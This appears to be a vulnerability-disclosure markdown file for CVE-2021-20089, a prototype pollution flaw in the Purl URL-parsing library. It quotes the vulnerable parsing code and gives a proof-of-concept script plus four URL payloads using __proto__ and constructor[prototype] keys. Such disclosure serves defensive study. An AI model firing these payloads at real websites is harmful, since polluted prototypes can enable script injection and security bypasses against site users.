BlackFan Add CVEs History

1 contributor

Executable File | 73 lines (60 sloc) | 1.98 KB

# Purl (jQuery-URL-Parser)

URL: https://github.com/allmarkedup/purl

## CVE

CVE-2021-20089

## Vulnerable code fragment

https://github.com/allmarkedup/purl/blob/6df9a03833ebbd479baede1e0111186a5d9906a2/purl.js#L111-L126

```
uri.param['query'] = parseString(uri.attr['query']);
uri.param['fragment'] = parseString(uri.attr['fragment']);

...

function parseString(str) {
    return reduce(String(str).split(/&|;/), function(ret, pair) {
        try {
            pair = decodeURIComponent(pair.replace(/\+/g, ' '));
        } catch(e) {
            // ignore
        }
        var eql = pair.indexOf('='),
            brace = lastBraceInKey(pair),
            key = pair.substr(0, brace || eql),
            val = pair.substr(brace || eql, pair.length);

        val = val.substr(val.indexOf('=') + 1, val.length);

        if (key === '') {
            key = pair;
            val = '';
        }

        return merge(ret, key, val);
    }, { base: {} }).base;
}

...

function merge(parent, key, val) {
    if (~key.indexOf(']')) {
        var parts = key.split('[');
        parse(parts, parent, 'base', val);
    } else {
        if (!isint.test(key) && isArray(parent.base)) {
            var t = {};
            for (var k in parent.base) t[k] = parent.base[k];
            parent.base = t;
        }
        if (key !== '') {
            set(parent.base, key, val);
        }
    }
    return parent;
}
```

## PoC

```
<script/src="https://cdnjs.cloudflare.com/ajax/libs/purl/2.3.1/purl.js"></script>
<script>
  purl('http://test/?__proto__[test1]=test1#__proto__[test2]=test2')
</script>


?__proto__[test]=test
?constructor[prototype][test]=test
#__proto__[test]=test
#constructor[prototype][test]=test
```